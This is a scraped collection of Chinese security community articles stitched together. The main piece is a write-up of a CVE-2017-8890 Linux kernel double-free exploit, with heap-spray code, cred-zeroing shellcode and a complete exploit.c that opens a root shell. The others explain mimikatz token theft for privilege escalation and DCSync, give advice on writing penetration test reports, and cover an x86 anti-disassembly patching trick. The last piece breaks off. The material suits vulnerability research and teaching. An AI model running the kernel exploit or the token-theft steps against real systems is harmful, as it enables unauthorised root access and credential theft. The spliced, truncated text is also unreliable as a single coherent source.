close(sockfd) // double free
我们首先创建一个服务端socket，并通过setsockopt设置`MCAST_JOIN_GROUP`选项，主要是让内核创建`ip_mc_socklist`对象。然后我们通过accept创建另外一个socket，使得newsockfd在内核中的`mc_list`指针指向同一个`ip_mc_socklist`对象。最后我们通过关闭sockfd和newsockfd去触发内核释放`mc_list`指向的同一对象，导致double
free。
## 0x03 exploit
我们在网上暂时还没有搜到可用的exploit，只有一些文章[1][2]讲解漏洞利用的思路。double
free类型漏洞的一般利用思路是在第一次free后通过伪造数据去堆喷占位，控制第二次free时的数据，从而劫持内核的执行流程。
我们再看看double free的对象`ip_mc_socklist`：
struct ip_mc_socklist {
struct ip_mc_socklist __rcu *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip_sf_socklist __rcu *sflist;
struct rcu_head rcu;
};
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
}
#define rcu_head callback_head
我们可以看到`ip_mc_socklist`对象中包含一个`rcu_head`对象，而该对象正好包含一个函数指针。`ip_mc_socklist`对象的释放涉及的linux的RCU机制，比较复杂，我们暂时只需要知道`ip_mc_socklist`对象真正释放的处理函数是`__rcu_reclaim`：
static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)
{
unsigned long offset = (unsigned long)head->func;
rcu_lock_acquire(&rcu_callback_map);
if (__is_kfree_rcu_offset(offset)) {
RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));
kfree((void *)head - offset);
rcu_lock_release(&rcu_callback_map);
return true;
} else {
RCU_TRACE(trace_rcu_invoke_callback(rn, head));
head->func(head);
rcu_lock_release(&rcu_callback_map);
return false;
}
}
刚好在`__rcu_reclaim`函数中存在一个分支去执行`rcu_head`对象中的函数指针：
head->func(head)
因此，我们只需要劫持rcu_head对象即可劫持内核的执行。接下来，我们通过gdb调试一步步来实现我们的exploit。
### 1）内核堆喷
为了能够劫持`ip_mc_socklist`内核对象，我们必须要能够在第一次free后通过堆喷占位，用我们伪造的数据填充已经free掉的`ip_mc_socklist`内核对象。`ip_mc_socklist`对象在x86_64系统中大小为48字节，内核会通过kmalloc分配64字节的堆块，因此我们需要找到在内核中稳定分配64字节大小，并且能够控制分配内容的方法。我们试了sendmmsg方法，但是并未成功。通过内核堆喷`ipv6_mc_socklist`结构体倒是成功了，但是通过gdb查看分配的对象大小却是72字节。我们直接通过源码计算`ipv6_mc_socklist`结构体的大小只有64字节，多出来的8个字节怎么出来的呢？
struct ipv6_mc_socklist {
struct in6_addr addr;
int ifindex;
struct ipv6_mc_socklist __rcu *next;
rwlock_t sflock;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip6_sf_socklist *sflist;
struct rcu_head rcu;
};
最后通过gdb调试我们才知道是因为内存对齐的原因。`ipv6_mc_socklist`结构体中既有8字节的成员变量，也有4字节的成员变量，因此`ipv6_mc_socklist`对齐到8字节，导致`ipv6_mc_socklist`对象的内存大小多出来8个字节。我们想到一个简单的方法，就是patch
kernel, 修改`ipv6_mc_socklist`结构体定义，将两个4字节成员变量放在一起：
struct ipv6_mc_socklist {
struct in6_addr addr;
int ifindex;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ipv6_mc_socklist __rcu *next;
rwlock_t sflock;
struct ip6_sf_socklist *sflist;
struct rcu_head rcu;
};
修改后重新编译内核运行，成功实现了内核64字节堆喷。我们可以通过gdb查看堆喷结果。
第一次free时`ip_mc_socklist`内核对象：
堆喷成功后第二次free:
通过对比我们可以看到，两次free的对象地址都是0xffff8800065ca0c0，说明是同一对象。同时，第二次free之前，我们成功通过堆喷，将之前free的对象填充为可控内容。堆喷的代码如下：
#define SPRAY_SIZE 5000
int sockfd[SPRAY_SIZE];
void spray_init() {
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("Socket");
exit(errno);
}
}
}
void heap_spray() {
struct sockaddr_in6 my_addr, their_addr;
unsigned int myport = 8000;
bzero(&my_addr, sizeof(my_addr));
my_addr.sin6_family = AF_INET6;
my_addr.sin6_port = htons(myport);
my_addr.sin6_addr = in6addr_any;
int opt =1;
struct group_req group1 = {0};
struct sockaddr_in6 *psin1;
psin1 = (struct sockaddr_in6 *)&group1.gr_group;
psin1->sin6_family = AF_INET6;
psin1->sin6_port = 1234;
inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
}
}
我们将堆喷对象`ipv6_mc_socklist`的adrr设置为"ff02:abcd:0:0:0:0:0:1"，即可将堆喷对象的前8个字节设置为0x00000000cdab02ff，而这8个字节正好是double
free对象`ip_mc_socklist`的`next_rcu`成员。因此，我们通过堆喷`ipv6_mc_socklist`对象来劫持`ip_mc_socklist`对象的释放。
### 2）劫持EIP
当我们成功进行了堆喷劫持后，需要通过某种方式来获得在内核中执行代码的能力，即劫持EIP。前面我们提到`ip_mc_socklist`对象中包含一个函数指针，我们是不是可以直接劫持该函数指针来劫持EIP呢？经过测试后发现这是不行的。我们通过gdb调试后发现即使我们通过堆喷劫持了`ip_mc_socklist`对象中的函数指针，但是实际在`__rcu_reclaim`函数中执行时，该函数指针已经被修改了，变成了其他值。我们在分析源码发现，原来kfree_rcu函数会修改`ip_mc_socklist`对象中的函数指针，导致我们的堆喷失效。`kfree_rcu`的调用链：
kfree_rcu->__kfree_rcu->kfree_call_rcu->__call_rcu
我们发现在函数的参数转换的时候，rcu_head中的函数指针会被修改为偏移量：
因此我们不能直接通过劫持函数指针来劫持EIP。我们知道linux的RCU机制使得kfree_rcu函数调用后，并不是马上去执行`__rcu_reclaim`函数进行真正的释放动作，而是会让CPU过一段时间再执行。如果我们在`__rcu_reclaim`函数执行前再次修改`ip_mc_socklist`对象中的函数指针即可劫持EIP。但是我们并不能访问到堆喷的内核对象，我们该怎么修改呢？如果是在用户空间就好了！我们之前提到，`ip_mc_socklist`对象的前8个字节是`next_rcu`指针变量，该指针指向rcu链表中的下一个`ip_mc_socklist`对象。我们可以通过劫持`next_rcu`指针,使其指向我们在用户空间伪造的`ip_mc_socklist`对象，然后再通过伪造用户空间对象的函数指针来劫持EIP，布局如下所示：
当我们将`ip_mc_socklist`对象劫持到用户空间后，我们就可以通过多线程去修改伪造对象的函数指针，从而劫持到EIP。
### 2）shellcode
由于没有SMEP、SMAP，我们劫持到EIP后可以直接跳转到我们在用户空间的shellcode中执行提权代码。常见的提权代码是执行如下函数：
commit_creds(prepare_kernel_cred(0))
`prepare_kernel_cred`和`commit_creds`是内核导出的符号，可以通过/proc/kallsyms查找相应内核地址。但是执行这两个函数能提权成功有一个前提条件，就是内核必须处于exp进程的上下文，即内核通过current宏获取到的进程描述符`task_struct`必须是exp进程的，否则exp进程不能提权成功。我们在测试中发现，虽然通过劫持EIP成功执行了`commit_creds(prepare_kernel_cred(0))`，但是返回的shell并不是root权限，说明提权并未成功。通过gdb调试一看，我们劫持到EIP时内核的进程上下文是`ksoftirqd`进程或`rcu_sched`进程。我们猜测，由于RCU机制的存在，`ip_mc_socklist`对象的真正释放是在内核软中断处理中，因此我们劫持EIP时内核也处于软中断处理的进程上下文。所以，虽然我们能劫持EIP执行，但是却不能通过简单执行commit_creds函数执行提权，需要我们自己写shellcode。我们知道，只要我们能修改exp进程描述符中cred结构体的uid和euid为0，即可提权为root。因此在内核中执行如下代码即可：
void get_root(int pid){
struct pid * kpid = find_get_pid(pid);
struct task_struct * task = pid_task(kpid,PIDTYPE_PID);
unsigned int * addr = (unsigned int* )task->cred;
addr[1] = 0;
addr[2] = 0;
addr[3] = 0;
addr[4] = 0;
addr[5] = 0;
addr[6] = 0;
addr[7] = 0;
addr[8] = 0;
}
`find_get_pid`和`pid_task`函数是内核导出的函数，主要用于根据pid找到对应的进程描述符。这段代码是在内核中执行的，可以在编写的内核模块中编译和运行，但是不好编译为用户空间代码，因此我们直接将其转换为汇编代码：
unsigned long* find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long* pid_task = (unsigned long*)0xffffffff81077180;
int pid = getpid();
void get_root() {
asm(
"sub $0x18,%rsp;"
"mov pid,%edi;"
"callq *find_get_pid;"
"mov %rax,-0x8(%rbp);"
"mov -0x8(%rbp),%rax;"
"mov $0x0,%esi;"
"mov %rax,%rdi;"
"callq *pid_task;"
"mov %rax,-0x10(%rbp);"
"mov -0x10(%rbp),%rax;"
"mov 0x5f8(%rax),%rax;"
"mov %rax,-0x18(%rbp);"
"mov -0x18(%rbp),%rax;"
"add $0x4,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x8,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0xc,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x10,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x14,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x18,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x1c,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x20,%rax;"
"movl $0x0,(%rax);"
"nop;"
"leaveq;"
"retq ;");
}
### 3）Demo
综上，我们的第一版exploit.c如下所示：
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#include <sys/mman.h>
#define SPRAY_SIZE 5000
#define HELLO_WORLD_SERVER_PORT 8088
unsigned long* find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long* pid_task = (unsigned long*)0xffffffff81077180;
void *client(void *arg);
void get_root();
int pid=0;
void get_root() {
asm(
"sub $0x18,%rsp;"
"mov pid,%edi;"
"callq *find_get_pid;"
"mov %rax,-0x8(%rbp);"
"mov -0x8(%rbp),%rax;"
"mov $0x0,%esi;"
"mov %rax,%rdi;"
"callq *pid_task;"
"mov %rax,-0x10(%rbp);"
"mov -0x10(%rbp),%rax;"
"mov 0x5f8(%rax),%rax;"
"mov %rax,-0x18(%rbp);"
"mov -0x18(%rbp),%rax;"
"add $0x4,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x8,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0xc,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x10,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x14,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x18,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x1c,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x20,%rax;"
"movl $0x0,(%rax);"
"nop;"
"leaveq ;"
"retq ;"
);
}
int sockfd[SPRAY_SIZE];
void spray_init() {
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("Socket");
exit(errno);
}
}
}
void heap_spray() {
struct sockaddr_in6 my_addr, their_addr;
unsigned int myport = 8000;
bzero(&my_addr, sizeof(my_addr));
my_addr.sin6_family = AF_INET6;
my_addr.sin6_port = htons(myport);
my_addr.sin6_addr = in6addr_any;
int opt =1;
struct group_req group1 = {0};
struct sockaddr_in6 *psin1;
psin1 = (struct sockaddr_in6 *)&group1.gr_group;
psin1->sin6_family = AF_INET6;
psin1->sin6_port = 1234;
// cd ab 02 ff
inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
}
}
void *func_modify(void *arg){
unsigned long fix_addr = 0xcdab02ff + 8*5;
unsigned long func = (unsigned long)&get_root;
while(1) {
*(unsigned long *)(fix_addr) = func;
}
}
void exploit(){
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
struct group_req group = {0};
struct sockaddr_in *psin;
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
int server_socket = socket(PF_INET,SOCK_STREAM,0);
if( server_socket < 0){
printf("[Server]Create Socket Failed!");
exit(1);
}
int opt =1;
setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){
printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
exit(1);
}
if ( listen(server_socket, 10) ) {
printf("[Server]Server Listen Failed!");
exit(1);
}
pthread_t id_client;
pthread_create(&id_client,NULL,client,NULL);
spray_init();
struct sockaddr_in client_addr;
socklen_t length = sizeof(client_addr);
printf ("[Server]accept..... \n");
int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length);
if ( new_server_socket < 0){
close(server_socket);
perror("[Server]Server Accept Failed!\n");
return;
}
unsigned long fix_addr = 0xcdab0000;
unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
if (addr == MAP_FAILED){
perror("Failed to mmap: ");
return;
}
addr = (unsigned long *)0x00000000cdab02ff;
unsigned long func = (unsigned long)&get_root;
addr[0] = 0x0;
addr[1] = 0x0a0a02e0;
addr[2] = 0x00000002;
addr[3] = 0x0;
addr[4] = 0x0;
addr[5] = func;
pthread_t id_func;
pthread_create(&id_func,NULL,func_modify,NULL);
printf ("[Server]close new_server_socket \n");
close(new_server_socket);
sleep(5);
heap_spray();
close(server_socket);
printf(" current uid is : %d \n", getuid());
printf(" current euid is : %d \n", geteuid());
system("/bin/sh");
}
void *client(void *arg){
struct sockaddr_in client_addr;
bzero(&client_addr,sizeof(client_addr));
client_addr.sin_family=AF_INET;
client_addr.sin_addr.s_addr=htons(INADDR_ANY);
client_addr.sin_port=htons(0);
int client_socket=socket(AF_INET,SOCK_STREAM,0);
if(client_socket<0){
printf("[Client]Create socket failed!\n");
exit(1);
}
if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){
printf("[Client] client bind port failed!\n");
exit(1);
}
struct sockaddr_in server_addr;
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){
printf("[Client]Server IP Address error\n");
exit(0);
}
server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT);
socklen_t server_addr_length=sizeof(server_addr);
if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){
printf("[Client]cannot connect to 127.0.0.1!\n");
exit(1);
}
printf("[Client]Close client socket\n");
close(client_socket);
return NULL;
}
int main(int argc,char* argv[]) {
printf("pid : %d\n", getpid());
pid = getpid();
exploit();
return 0;
}
我们编译exploit.c：
在qemu的虚拟环境中运行我们的exp:
最终，我们在qemu + linux kernel + busybox的虚拟环境中成功实现了root提权。
## 0x04 小结
本文记录了我们初步研究CVE-2017-8890漏洞利用的过程及初步成果，在qemu + linux kernel +
busybox的最小化虚拟环境中成功实现了root提权。但是需要注意的是，我们这里的linux
kernel并没有开启SMEP/SMAP，exp使用了ret2usr的方法去执行shellcode提权。如果开启SMEP/SMAP，内核将不能直接访问我们用户空间的数据或直接执行用户空间的shellcode,我们的这个exp也就不再有效。同时，我们这个exp的堆喷使用了patch
kernel的方法，在实际环境中肯定不再适用。我们将在下一篇文章中探讨内核堆喷的其他方法，以及在内核开启SMEP的情况下的绕过方法。欢迎大家一起探讨学习！
## 参考文献：
[1] [http://www.freebuf.com/articles/terminal/160041.html]()
[2] [https://bbs.pediy.com/thread-226057.htm]()
[3] [https://mp.weixin.qq.com/s/6NGH-Dk2n_BkdlJ2jSMWJQ]() | 社区文章 |
**作者：御守实验室
原文链接：<https://mp.weixin.qq.com/s/eMXaerqdkrq4maHuzII9BA>
相关阅读：[《从 mimikatz 学习 Windows 安全之访问控制模型（二）》](https://paper.seebug.org/1672/ "《从
mimikatz 学习 Windows 安全之访问控制模型（二）》")**
## 0x00 前言
Mimikatz是法国安全研究员Benjamin
Delpy开发的一款安全工具。渗透测试人员对mimikatz印象最深的肯定就是抓取Windows凭证，但作者对它的描述是 **“a tool I've
made to learn C and make somes experiments with Windows security.”**
，其实它的功能不仅仅是抓取凭证，还包含了很多Windows安全相关的技术和知识
这里借用 **@daiker** 师傅的思维导图，mimikatz的模块大致可分为几个部分：
因此文章也会大致分为windows 访问控制模型，windows 凭据以及加解密，windows AD 安全，windows 进程以及服务，mimikatz
其他模块五个小系列。之前自己一直想分析mimikatz的相关功能，主要是出于以下原因：
* mimikatz中有许多功能利用了Windows的一些机制和特性，以changentlm为例，其利用MS-SAMR协议修改用户的密码，我们再根据MS-SAMR或RPC进行知识延伸，肯定也有不少收获
* mimikatz中涉及大量内存的操作，其中运用的内存Patch技术也被经常应用于一些安全机制的绕过（如绕过AMSI、Credential Guard等），于是自己想在分析过程中通过windbg学到一些调试的技巧
* mimikatz在实战中被杀的很厉害，了解相应原理可以自己实现相应功能
* 学习/练习C语言 :D
mimikatz中与Windows访问控制模型相关的有privilege、token、sid三个模块，其分别对应特权、访问令牌、安全标识符三个知识，本文主要分析token模块，并简要介绍Windows访问控制模型
由于mimikatz代码逻辑较为复杂，涉及大量回调，因此文中代码都是经过简化的。文章可能也会有一些技术上或者逻辑上的错误，还请师傅们指正
## 0x01 访问控制模型简介
Windows访问控制模型有两个基本组成部分：
* 访问令牌(Access Token)：包含有关登录用户的信息
* 安全描述符(Security Descriptor)：包含用于保护安全对象的安全信息
### 1\. 访问令牌(Access Token)
访问令牌(Access
Token)被用来描述一个进程或线程的安全上下文，用户每次登录成功后，系统会为其创建访问令牌，该用户的所有进程也将拥有此访问令牌的副本
当线程与安全对象进行交互或尝试执行需要特权的系统任务时，系统使用访问令牌来标识用户。使用windbg查看进程的token，其包含信息如下图所示：
### 2\. 安全描述符(Security Descriptor)
安全描述符(Security
Descriptor)包含与安全对象有关的安全信息，这些信息规定了哪些用户/组可以对这个对象执行哪些操作，安全描述符主要由以下部分构成：
* 所有者的SID
* 组SID
* 自主访问控制列表（DACL），规定哪些用户/组可以对这个对象执行哪些操作
* 系统访问控制列表（SACL），规定哪些用户/组的哪些操作将被记录到安全审计日志中
在windbg中查看一个安全对象的安全描述符，可以清晰的看到安全描述符的组成：
可以看到该安全描述符的DACL中有三条ACE，ACE的类型都是`ACCESS_ALLOWED_ACE_TYPE`，`Mask`是权限掩码，用来指定对应的权限。以第一条ACE为例，其表示允许SID为S-1-5-32-544的对象能够对该安全对象做0x001fffff对应的操作
### 3\. 权限检查的过程
当某个线程尝试访问一个安全对象时，系统根据安全对象的ACE对照线程的访问令牌来判断该线程是否能够对该安全对象进行访问。通常，系统使用请求访问的线程的主访问令牌。但是，如果线程正在模拟其他用户，则系统会使用线程的模拟令牌
此时将在该安全对象的DACL中按顺序检查ACE，直到发生以下事件：
* 某一条拒绝类型的ACE显式拒绝令牌中某个受信者的所有访问权限
* 一条或多条允许类型的ACE允许令牌中列出的受信者的所有访问权限
* 检查完所有ACE但没有一个权限显式允许，那么系统会隐式拒绝该访问
我们以微软文档中的图片为例，描述一下整个过程：
1. 线程A请求访问安全对象，系统读取ACE1，发现拒绝Andrew用户的所有访问权限，而线程A的访问令牌是Andrew，因此拒绝访问，并不再检查ACE2、ACE3
2. 线程A请求访问，系统按顺序读取ACE，ACE1不适用，读取到ACE2发现适用，再读取到ACE3也适用，因此最终该用户拥有对该安全对象的读、写、执行权限
## 0x02 Mimikatz的Token模块
Mimikatz的token模块共有5个功能：
* **token::whoami** ：列出当前进程/线程的token信息
* **token::list** ：列出当前系统中存在的token
* **token::elevate** ：窃取其他用户的token
* **token::run** ：利用某用户权限运行指定程序
* **token::revert** ：恢复为原来的token
### 1\. token::whoami
该功能用于列出当前进程/线程的token信息
只有一个可选参数`/full`，当指定该参数时会打印出当前token的组信息和特权信息：
该功能的原理大致如下：
1. 通过`OpenProcess()`获取当前进程/线程的句柄
2. 调用`GetTokenInformation()`获取token的各种信息并输出
其核心为调用`GetTokenInformation()`来获取token的各种信息，我们先来看这个API定义
其中第二个参数是一个`TOKEN_INFORMATION_CLASS`枚举类型，我们可以通过指定它的值来获取token指定的信息
例如获取token的SessionID并输出，可以使用以下代码：
### 2\. token::list
该功能是获取当前系统中所有的token，注意使用前需要先获取`SeDebugPrivilege`，否则列出的token不全
该功能原理大致如下：
1. 调用`NtQuerySystemInformation()`获取系统进程信息（如进程PID等）
2. 循环遍历所有进程的PID，使用`token::whoami`功能中的方法对指定token信息进行输出
`NtQuerySystemInformation()`用来检索指定的系统信息：
其第一个参数是一个`SYSTEM_INFORMATION_CLASS`枚举类型，我们同样可以指定不同参数来获取不同的系统信息
以获取系统进程名和PID为例，代码如下：
**PS：** 按照该思路，理论上利用`CreateToolhelp32Snapshot()` \+
`Process32First()`遍历进程PID也可以实现该功能
### 3\. token::elevate
该模块用于窃取指定用户的token，共有7个可选参数，这些参数主要用来指定要窃取的token，如果不指定参数则默认窃取`NT
AUTHORITY\SYSTEM`的token
* **/id** ：指定目标token的TokenID
* **/domainadmin** ：窃取域管的token
* **/enterpriseadmin** ：窃取企业管理员的token
* **/admin** ：窃取本地管理员的token
* **/localservice** ：窃取Local Service权限的token
* **/networkservice** ：窃取Network Service权限的token
* **/system** ：窃取SYSTEM权限的token
假设我们现在在目标机器上发现的域管权限的token
我们可以指定目标TokenID，或者使用`/domainadmin`来窃取域管的token，执行成功后可以看到当前线程已经拥有域管的模拟令牌：
然后我们就可以在当前mimikatz上下文中使用域管身份执行操作了，如DCSync
该功能大致过程如下：
1. 通过`OpenProcess()`获取当前进程/线程的句柄
2. 调用`OpenProcessToken()`打开与进程相关的token句柄
3. 使用`DuplicateTokenEx()`使用目标进程token创建一个新的模拟token
4. 调用`SetThreadToken()`设置当前线程的token为上一步创建的新的模拟token
由于窃取token是Access Token利用的重点，该过程放在本文后面分析
### 4\. token::run
该功能是使用指定的token来运行程序，也可以使用`token::elevate`中的几个参数来指定运行程序的token，除此之外还有一个参数：
* **/process** ：指定要运行的程序，默认值为whoami.exe
其原理前三步与`token::elevate`大致相同，区别在于使用`DuplicateTokenEx()`窃取token后，该功能使用`CreateProcessAsUser()`来使用新的primary
token创建一个进程
创建进程后，利用匿名管道做进程间通信，将新创建进程的标准输出写入到匿名管道的write端，从管道read端读取数据进行回显（在webshell等非交互场景下很有用）
**5\. token::revert**
该模块用来清除线程的模拟令牌：
原理很简单，直接使用`SetThreadToken(NULL, NULL)`即可将当前线程的token清除
## 0x03 令牌窃取
在渗透测试中，窃取token是administrator -> system的常见手法之一，还经常被用于降权等用户切换操作
### 1\. 原理
窃取token主要涉及以下几个API：
1. **OpenProcess**
该函数打开指定PID的进程的句柄，需要注意的是第一个参数 **dwDesiredAccess** ，主要会用到的是以下三个权限
* PROCESS_ALL_ACCESS
* PROCESS_QUERY_INFORMATION (0x0400)
* PROCESS_QUERY_LIMITED_INFORMATION (0x1000)
我在编写窃取Token的代码时，发现对部分进程（如smss.exe、csrss.exe等）调用OpenProcess会出现拒绝访问的情况，查阅网上资料后发现这些进程存在保护，需要使用`PROCESS_QUERY_LIMITED_INFORMATION`权限打开句柄，详情请参考这篇文章
2. **OpenProcessToken**
该函数打开与进程相关联的令牌的句柄，其中第二个参数 **DesiredAccess** 同样用来指定令牌的访问权限，需要以下几个：
* TOKEN_DUPLICATE：复制令牌需要的权限
* TOKEN_QUERY：查询令牌需要的权限
如果要调用`DuplicateTokenEx`需要指定TOKEN_DUPLICATE，如果调用`ImpersonatedLoggedOnUser`则需要指定TOKEN_DUPLICATE和TOKEN_QUERY
3. **DuplicateTokenEx**
`DuplicateTokenEx`用来复制现有的令牌来生成一张新令牌，该函数可以选择生成主令牌还是模拟令牌
* **hExistingToken** ：指定现有的令牌句柄，可以使用`OpenProcessToken`获得
* **dwDesiredAccess** ：用来指定令牌访问权限，需要指定以下几个来支持后面调用`CreateProcessWithToken`：
* * TOKEN_DUPLICATE：需要复制访问令牌
* TOKEN_QUERY：需要查询访问令牌
* TOKEN_ASSIGN_PRIMARY：将令牌附加到主进程的权限
* TOKEN_ADJUST_DEFAULT：需要更改访问令牌的默认所有者、主要组或 DACL
* TOKEN_ADJUST_SESSIONID：需要调整访问令牌的会话 ID，需要 SE_TCB_NAME 权限
* **lpTokenAttributes** ：指向SECURITY_ATTRIBUTES结构的指针，该 结构指定新令牌的安全描述符并确定子进程是否可以继承该令牌
* **ImpersonationLevel** ：指定令牌的模拟级别，当进行复制令牌时，主令牌被复制为模拟令牌是始终被允许的，而模拟令牌复制为主令牌则需要模拟级别 >= Impersonate
* **TokenType** ：指定新令牌的类型，是主令牌（Primary Token）还是模拟令牌（Impersonate Token）
* **phNewToken** ：返回令牌句柄的地址
复制完一张新令牌后，我们就可以利用这张新令牌来运行我们指定的进程了
4. **CreateProcessWithTokenW**
该函数创建一个新进程及其主线程，新进程在指定令牌的安全上下文中运行。我们直接指定前面复制出来的新令牌，使用该令牌创建我们指定的进程即可
### 2\. 利用
根据mimikatz的token模块的原理，简单实现了一个demo，也有许多token相关的工具如incognito等
当获取管理员权限后，我们可以列出系统中进程对应的token：
然后窃取指定进程的token来运行我们的程序，如直接运行上线马
如果想要拿回程序输出的话，则可以通过管道等进程间通信的方法来回显输出
如果拿到一台机器有域管的进程，那么我们可以直接窃取域管进程的token来进行DCSync攻击
## 0x04 参考链接
<https://docs.microsoft.com/>
<https://github.com/gentilkiwi/mimikatz/>
<https://www.ired.team/offensive-security/privilege-escalation/t1134-access-token-manipulation>
<https://www.slideshare.net/JustinBui5/understanding-windows-access-token-manipulation>
<https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b>
* * * | 社区文章 |
# 如何编写一份专业的渗透测试报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
常规的渗透测试流程一般为以下几个过程：目标确认、信息收集、漏洞发现、漏洞利用、权限维持内网渗透、目标获取痕迹清理、编写文档输出报告。学了这么久渗透测试，“骚”的技术点学了不少，那作为一个职业白帽你知道一份优质的渗透测试报告应该是什么样的吗？
在开始之前先来了解什么是渗透测试报告。渗透测试报告是对渗透测试进行全面展示的一种文档表达，要知道在实际渗透的过程中，在与客户确认项目了之后，技术人员会使用PC对目标进行模拟攻击，完成模拟攻击之后我们需要将项目成果、进行过程对客户进行一个详细的交付，就需要一份渗透测试报告来完成这个任务了。总的来说，渗透测试报告是表达项目成果的一种交付形式，主要目的是让客户或者合作伙伴通过此报告来获取信息。
和一般的漏洞提交报告一样，渗透测试报告本身并没有一个非常统一的标准，每个公司每个团队每个人都有他们自己特有的风格，但表达的内容大体上都是差不多的。主要分为以下几个部分：概述、漏洞摘要、渗透利用、测试结果、安全建议。
因为渗透测试报告最终的对象是客户，让客户满意是最大的目标。所以在撰写的过程中，需要特别注意的是：漏洞描述切忌不可过于简单，一笔带过；在安全建议部分避免提出没有实际意义的安全建议，比如加强安全意识；太多复杂的专业术语，比如绕狗、x站等等；报告结构混乱不堪。
## 开始编写报告
概述总体上包括时间、人员、测试范围、技术手段等等。我们需要在这部分确定渗透测试执行的时间范围、参与测试的人员及联系方式、约定的渗透测试范围和一些渗透测试过程中采用的技术、工具描述。
您的浏览器不支持video标签
### 文档说明及适用范围
### 概述
您的浏览器不支持video标签
### 漏洞摘要
这一部分主要展示项目挖掘出来的所有漏洞数据摘要。
### 渗透利用
根据资产进行分类，按照漏洞进行具体的描述：漏洞描述、危害、位置及修复建议。
### 评估总结
总结一下本次评估整体性的安全状态。
您的浏览器不支持video标签
最后的最后，补充一些对于[文档的附录资料](https://zhishihezi.net/box/ca2108d94cf521aa6a2e1172de967183)。这样，一份拥有基本架构的简单版渗透测试报告就完成了。 | 社区文章 |
上一篇文章介绍了x64架构的程序通过patch让IDA无法正确识别参数的小技巧，本文补充一下x86架构中这个技巧的运用
# 平级函数的修改
## 源码、编译
测试程序源码如下：
> `vuln`只是命名习惯了...并不是指漏洞函数
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int func(int a) {
int num = a;
printf("%d",a);
getchar();
getchar();
return 1;
}
int func_wrapper(int b) {
func(b+1);
int num = b;
printf("%d",num);
getchar();
getchar();
getchar();
return 2;
}
int vuln(int num){
printf("%d",num);
return 0xff;
}
int main(int argc, char** argv) {
func_wrapper(1);
vuln(2);
return 0;
}
程序没有什么特别的，注意`getchar()`因为没有参数，就是用来`nop`掉然后开始表演的，也不会影响堆栈平衡
编译：`gcc -m32 main.c -o test`
编译过后IDA打开，基本是这样
因为没有开优化，所以`esp`的加加减减没有被合并
## patch
因为`x64`是`fastcall`，前几个参数用寄存器传参；而`x86`则全是用栈传参
原先`vuln`函数显示是这样的（这两个就是"平级函数"）
目的是让它显示成`vuln(v3)`这种形式，以达到一些干扰的效果
我们关注这段汇编
